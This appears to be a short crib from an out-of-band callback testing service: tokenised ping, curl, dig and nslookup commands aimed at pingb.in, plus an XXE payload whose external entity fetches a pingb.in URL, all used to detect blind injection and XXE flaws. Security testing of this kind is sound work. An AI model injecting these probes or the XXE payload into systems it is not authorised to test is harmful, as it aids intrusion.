$ ping -c1 -p 00d1d83d1f99378511ef18ead5174800 pingb.in
$ curl pingb.in/p/d1d83d1f99378511ef18ead51748
$ dig d1d83d1f99378511ef18ead51748 @pingb.in
$ dig d1d83d1f99378511ef18ead51748.ns.pingb.in
C:\> nslookup d1d83d1f99378511ef18ead51748 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/d1d83d1f99378511ef18ead51748">]> <foo>&xxe;</foo>